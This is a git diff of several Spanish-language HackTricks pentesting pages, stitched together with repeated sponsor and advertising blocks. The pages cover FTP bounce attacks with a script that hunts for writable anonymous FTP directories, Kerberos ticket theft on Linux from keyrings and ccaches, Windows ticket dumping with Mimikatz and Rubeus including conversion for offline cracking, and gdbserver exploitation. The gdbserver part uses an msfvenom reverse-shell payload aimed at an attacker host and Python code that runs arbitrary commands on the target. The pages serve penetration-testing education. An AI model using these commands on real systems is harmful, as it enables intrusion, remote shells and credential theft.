Siempre habrá sitios en la red con servidores FTP antiguos y directorios escribibles que permitan este tipo de tráfico, por lo que decir "arreglar todos los servidores FTP" es la respuesta incorrecta. Pero puedes proteger el tuyo contra ser un punto de rebote de terceros y que otro sea usado en tu contra.
|
||||
|
||||
Lo primero obvio que hacer es permitir que un servidor FTP solo haga conexiones de datos al mismo host de donde se originó la conexión de control. Esto no previene el ataque anterior, por supuesto, ya que el oyente PASV podría estar igualmente en ufred.edu y así cumplir con ese requisito, pero sí previene que \*tu\* sitio sea un punto de rebote potencial. También rompe el concepto de "FTP proxy", pero escondido en algún lugar de este párrafo hay un violín muy pequeño.
|
||||
|
||||
Lo siguiente obvio es prohibir conexiones de control FTP que provengan de puertos reservados, o al menos del puerto 20. Esto previene el escenario anterior tal como se ha planteado.
|
||||
|
||||
Ambas cosas, más la habitual charla sobre bloquear paquetes con ruta de origen y otras vías de suplantación, son necesarias para prevenir hacks de este tipo. Y piensa si realmente necesitas un directorio "entrante" abierto.
|
||||
|
||||
Permitir solo conexiones de datos de cliente en modo pasivo es otra posibilidad, pero todavía hay demasiados clientes FTP en uso que no son conscientes del modo pasivo.
|
||||
|
||||
## "Un consenso flexible y código en funcionamiento"
|
||||
|
||||
Hay algunos trabajos existentes que abordan esto disponibles aquí en avian.org \[y han estado durante varios meses, debo agregar\] en el "[archivo de fixkits](ftp://ftp.avian.org:/src/fixkits/)". Se presentan varias modificaciones a wu-ftpd-2.4, que incluyen código para prevenir y registrar intentos de usar comandos PORT falsos. También se incluyen correcciones de seguridad recientes de otros lugares, junto con soporte s/key y varias opciones de compilación para reforzar la seguridad para aplicaciones específicas.
|
||||
|
||||
Stan Barber en academ.com está trabajando en fusionar estas y varias otras correcciones en una verdadera actualización de wu-ftpd. Hay un par de otros esfuerzos divergentes en marcha. En ningún lugar se afirma que alguno de estos trabajos esté completo todavía, pero es un comienzo hacia algo que he tenido en mente por un tiempo: un lanzamiento de wu-ftpd-2.5 a nivel de red, con contribuciones de toda la red. El servidor wu-ftpd se ha vuelto muy popular, pero necesita urgentemente otra actualización de seguridad. Sería bueno reunir todas las mejoras en un lugar coordinado, y parece que sucederá. Todo esto todavía no ayudará a las personas que insisten en ejecutar servidores suministrados por el proveedor, por supuesto.
|
||||
|
||||
La verificación de la cordura del puerto de origen de la conexión del cliente no está implementada específicamente en las correcciones del servidor FTP, sino en modificaciones al paquete tcp-wrappers de Wietse, ya que este problema es más general. Se agrega una simple opción PORT que niega conexiones de rangos configurables de puertos de origen en la etapa de tcpd, antes de que se ejecute un demonio llamado.
|
||||
|
||||
Algunos de esto se señala por [/src/fixkits/README](ftp://ftp.avian.org:/src/fixkits/README) en el área de FTP anónimo aquí. Lee esta hoja de ruta antes de agarrar otras cosas.
|
||||
|
||||
## Notas
|
||||
|
||||
Agregar los nulos al final del archivo de comandos fue la clave para hacer que esto funcionara contra una variedad de demonios. Simplemente enviar los datos deseados generalmente fallaría debido al cierre inmediato que señala al demonio para salir.
|
||||
|
||||
Si WUSTL no ha renunciado por completo al proyecto wu-ftpd, están manteniendo muy en silencio sobre trabajos futuros. Bryan O'Connor parece tener muchos otros proyectos que atender por ahora...
|
||||
|
||||
Este es un script trivial para encontrar directorios y archivos de propiedad de ftp y escribibles por todos en un servidor FTP anónimo basado en Unix. Te sorprendería cuántos de esos puntos de rebote escribibles aparecen después de una breve ejecución de algo como esto. Tendrás que verificar más tarde que puedes tanto PUT como GET archivos de tales lugares; algunos servidores protegen los archivos subidos contra la lectura. Muchos no lo hacen, y luego se preguntan por qué están entre los diez principales sitios de warez de esta semana...
|
||||
```text
|
||||
#!/bin/sh
|
||||
ftp -n $1 << FOE
|
||||
quote "user ftp"
|
||||
quote "pass -nobody@"
|
||||
prompt
|
||||
cd /
|
||||
dir "-aR" xxx.$$
|
||||
bye
|
||||
FOE
|
||||
# Not smart enough to figure out ftp's numeric UID if no passwd file!
|
||||
cat -v xxx.$$ | awk '
|
||||
BEGIN { idir = "/" ; dirp = 0 }
|
||||
/.:$/ { idir = $0 ; dirp = 1 ; }
|
||||
/^[-d][-r](......w.|........ *[0-9]* ftp *)/ {
|
||||
if (dirp == 1) print idir
|
||||
dirp = 0
|
||||
print $0
|
||||
} '
|
||||
rm xxx.$$
|
||||
```
|
||||
Supongo que se podría llamar a esto un documento técnico. Está disponible en avian.org en [/random/ftp-attack](ftp://ftp.avian.org:/random/ftp-attack) así como publicado en varios lugares relevantes. \_H\* 950712
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,53 +1,32 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
En Linux, **los tickets se almacenan en cachés de credenciales o ccaches**. Hay 3 tipos principales, que indican dónde **se pueden encontrar los tickets:**
|
||||
### Almacenamiento de Credenciales en Linux
|
||||
Los sistemas Linux almacenan credenciales en tres tipos de cachés, a saber, **Archivos** (en el directorio `/tmp`), **Anillos de Claves del Kernel** (un segmento especial en el kernel de Linux) y **Memoria de Procesos** (para uso de un solo proceso). La variable **default\_ccache\_name** en `/etc/krb5.conf` revela el tipo de almacenamiento en uso, con un valor predeterminado de `FILE:/tmp/krb5cc_%{uid}` si no se especifica.
|
||||
|
||||
* **Archivos**, por defecto bajo el directorio **/tmp**, en la forma de **krb5cc\_%{uid}.**
|
||||
* **Keyrings del Kernel**, un espacio especial en el kernel de Linux provisto para almacenar claves.
|
||||
* **Memoria del proceso**, utilizada cuando solo un proceso necesita usar los tickets.
|
||||
### Extracción de Credenciales
|
||||
El documento de 2017, [**Robo de Credenciales de Kerberos (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf), describe métodos para extraer credenciales de anillos de claves y procesos, enfatizando el mecanismo de anillos de claves del kernel de Linux para gestionar y almacenar claves.
|
||||
|
||||
Para verificar qué tipo de almacenamiento se utiliza en una máquina específica, se debe revisar la variable _**default\_ccache\_name**_ en el archivo **/etc/krb5.conf**, que por defecto tiene permiso de lectura para cualquier usuario. En caso de que falte este parámetro, su valor predeterminado es _FILE:/tmp/krb5cc\_%{uid}_.
|
||||
#### Resumen de Extracción de Anillos de Claves
|
||||
La llamada al sistema **keyctl**, introducida en la versión del kernel 2.6.10, permite a las aplicaciones de espacio de usuario interactuar con los anillos de claves del kernel. Las credenciales en los anillos de claves se almacenan como componentes (principal predeterminado y credenciales), distintos de los ccaches de archivos que también incluyen un encabezado. El script **hercules.sh** del documento demuestra la extracción y reconstrucción de estos componentes en un ccaché de archivo utilizable para el robo de credenciales.
|
||||
|
||||
Para extraer **tickets de las otras 2 fuentes** (keyrings y procesos), un excelente artículo, [**Kerberos Credential Thievery (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf), publicado en 2017, explica formas de recuperar los tickets de ellos.
|
||||
#### Herramienta de Extracción de Tickets: Tickey
|
||||
Basándose en los principios del script **hercules.sh**, la herramienta [**tickey**](https://github.com/TarlogicSecurity/tickey) está diseñada específicamente para extraer tickets de los anillos de claves, ejecutada mediante `/tmp/tickey -i`.
|
||||
|
||||
### Keyring - Del artículo
|
||||
|
||||
> El **kernel de Linux** tiene una característica llamada **keyrings**. Esta es un **área de memoria dentro** del kernel que se utiliza para **gestionar y retener claves**.
|
||||
>
|
||||
> La llamada al sistema **keyctl** se introdujo en la versión del kernel 2.6.10 5 . Esto proporciona a las **aplicaciones de espacio de usuario una API** que se puede utilizar para interactuar con los keyrings del kernel.
|
||||
|
||||
> El **nombre del keyring** en uso se puede analizar desde el **archivo de configuración de Kerberos /etc/krb5.conf** que tiene habilitado el permiso de lectura para cualquiera (octal 644) por defecto. Un atacante puede entonces aprovechar esta información para **buscar keyrings que contengan tickets** y extraer los tickets. Un script de prueba de concepto que implementa esta funcionalidad se puede ver en la Sección A.2 **(hercules.sh)**. En un keyring, el ccache se almacena como componentes. Como se ve en la Figura 2, un ccache de archivo se compone de 3 componentes distintos: encabezado, principal por defecto y una secuencia de credenciales. Un **keyring contiene el principal por defecto y las credenciales**. Este script volcará estos componentes a archivos separados. Luego, utilizando un **encabezado sintetizado por el atacante**, estas piezas se combinan en el orden correcto para **reconstruir un ccache de archivo**. Este archivo reconstruido puede ser exfiltrado a una máquina atacante y luego utilizado para suplantar a un usuario de Kerberos. Un programa simple para generar un encabezado de ccache válido se puede ver en la Sección A.3.
|
||||
|
||||
Basado en el **script heracles.sh** (del artículo) una herramienta en C que puedes usar (creada por el autor del post completo) es [**tickey**](https://github.com/TarlogicSecurity/tickey)**, y extrae tickets de keyrings:**
|
||||
```
|
||||
/tmp/tickey -i
|
||||
```
|
||||
**Esta información fue tomada de:** [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
|
||||
# Referencias
|
||||
* [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,51 @@
|
|||
# Extracción de tickets de Windows
|
||||
# Recolección de tickets desde Windows
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
Los tickets en Windows son gestionados y almacenados por el proceso **lsass** (Local Security Authority Subsystem Service), responsable de manejar las políticas de seguridad. Para extraer estos tickets, es necesario interactuar con el proceso lsass. Un usuario no administrativo solo puede acceder a sus propios tickets, mientras que un administrador tiene el privilegio de extraer todos los tickets en el sistema. Para tales operaciones, las herramientas **Mimikatz** y **Rubeus** son ampliamente utilizadas, cada una ofreciendo diferentes comandos y funcionalidades.
|
||||
|
||||
### Mimikatz
|
||||
Mimikatz es una herramienta versátil que puede interactuar con la seguridad de Windows. Se utiliza no solo para extraer tickets, sino también para diversas operaciones relacionadas con la seguridad.
|
||||
```bash
|
||||
# Extracting tickets using Mimikatz
|
||||
sekurlsa::tickets /export
|
||||
```
|
||||
### Rubeus
|
||||
Rubeus es una herramienta diseñada específicamente para la interacción y manipulación de Kerberos. Se utiliza para la extracción y gestión de tickets, así como para otras actividades relacionadas con Kerberos.
|
||||
```bash
|
||||
# Dumping all tickets using Rubeus
|
||||
.\Rubeus dump
|
||||
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
|
||||
|
||||
# Listing all tickets
|
||||
.\Rubeus.exe triage
|
||||
|
||||
# Dumping a specific ticket by LUID
|
||||
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
|
||||
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
|
||||
|
||||
# Renewing a ticket
|
||||
.\Rubeus.exe renew /ticket:<BASE64_TICKET>
|
||||
|
||||
# Converting a ticket to hashcat format for offline cracking
|
||||
.\Rubeus.exe hash /ticket:<BASE64_TICKET>
|
||||
```
|
||||
Cuando uses estos comandos, asegúrate de reemplazar los marcadores de posición como `<BASE64_TICKET>` y `<luid>` con el ticket codificado en Base64 y el ID de inicio de sesión real respectivamente. Estas herramientas proporcionan una funcionalidad extensa para gestionar tickets e interactuar con los mecanismos de seguridad de Windows.
|
||||
|
||||
# Referencias
|
||||
* **[https://www.tarlogic.com/en/blog/how-to-attack-kerberos/](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)**
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,41 +53,10 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
En Windows, los tickets son **manejados y almacenados por el proceso lsass** (Local Security Authority Subsystem Service), que es responsable de la seguridad. Por lo tanto, para recuperar tickets de un sistema Windows, es necesario **comunicarse con lsass y solicitarlos**. Como **usuario no administrativo solo se pueden obtener los tickets propios**, sin embargo, como **administrador de la máquina**, se pueden extraer **todos**. Para este propósito, se pueden utilizar las herramientas **Mimikatz o Rubeus** como se muestra a continuación:
|
||||
```bash
|
||||
# Using mimikatz
|
||||
sekurlsa::tickets /export
|
||||
# Using Rubeus
|
||||
## Dump all tickets
|
||||
.\Rubeus dump
|
||||
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
|
||||
|
||||
## List all tickets
|
||||
.\Rubeus.exe triage
|
||||
## Dump the interesting one by luid
|
||||
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
|
||||
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
|
||||
```
|
||||
**Esta información fue tomada de:** [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)****
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,35 +2,35 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuración disponible al instante para evaluación de vulnerabilidades y pentesting**. Realiza un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde el reconocimiento hasta la elaboración de informes. No reemplazamos a los pentesters: desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, obtener shells y divertirse.
|
||||
**Configuración disponible instantáneamente para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, obtener shells y divertirse.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **Información Básica**
|
||||
|
||||
**gdbserver** es un programa informático que permite depurar otros programas de manera remota. Ejecutándose en el mismo sistema que el programa a depurar, permite que el **GNU Debugger se conecte desde otro sistema**; es decir, solo es necesario que el ejecutable a depurar esté presente en el sistema objetivo ("target"), mientras que el código fuente y una copia del archivo binario a depurar residen en la computadora local del desarrollador ("host"). La conexión puede ser TCP o una línea serie.
|
||||
**gdbserver** es un programa informático que permite depurar de forma remota otros programas. Ejecutándose en el mismo sistema que el programa a depurar, permite que el **Depurador GNU se conecte desde otro sistema**; es decir, solo el ejecutable a depurar necesita estar presente en el sistema objetivo ("destino"), mientras que el código fuente y una copia del archivo binario a depurar residen en la computadora local del desarrollador ("anfitrión"). La conexión puede ser a través de TCP o una línea serie.
|
||||
|
||||
Puedes hacer que un **gdbserver escuche en cualquier puerto** y actualmente **nmap no es capaz de reconocer el servicio**.
|
||||
Puedes hacer que un **gdbserver escuche en cualquier puerto** y en el momento actual **nmap no es capaz de reconocer el servicio**.
|
||||
|
||||
## Explotación
|
||||
|
||||
### Subir y Ejecutar
|
||||
|
||||
Puedes crear fácilmente un **elf backdoor con msfvenom**, subirlo y ejecutarlo:
|
||||
Puedes crear fácilmente una **puerta trasera elf con msfvenom**, subirla y ejecutarla:
|
||||
```bash
|
||||
# Trick shared by @B1n4rySh4d0w
|
||||
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
|
||||
|
@ -55,7 +55,7 @@ run
|
|||
```
|
||||
### Ejecutar comandos arbitrarios
|
||||
|
||||
Existe otra forma de **hacer que el depurador ejecute comandos arbitrarios a través de un script personalizado de python tomado de** [**aquí**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)**.**
|
||||
Hay otra forma de **hacer que el depurador ejecute comandos arbitrarios a través de un [script personalizado en python tomado de aquí](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)**.
|
||||
```bash
|
||||
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
||||
target extended-remote 192.168.1.4:2345
|
||||
|
@ -193,26 +193,24 @@ gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
|
|||
|
||||
RemoteCmd()
|
||||
```
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuración disponible al instante para evaluación de vulnerabilidades y pentesting**. Realiza un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde el reconocimiento hasta la elaboración de informes. No reemplazamos a los pentesters: desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para investigar a fondo, obtener shells y divertirse.
|
||||
**Configuración disponible al instante para evaluación de vulnerabilidades y pruebas de penetración**. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
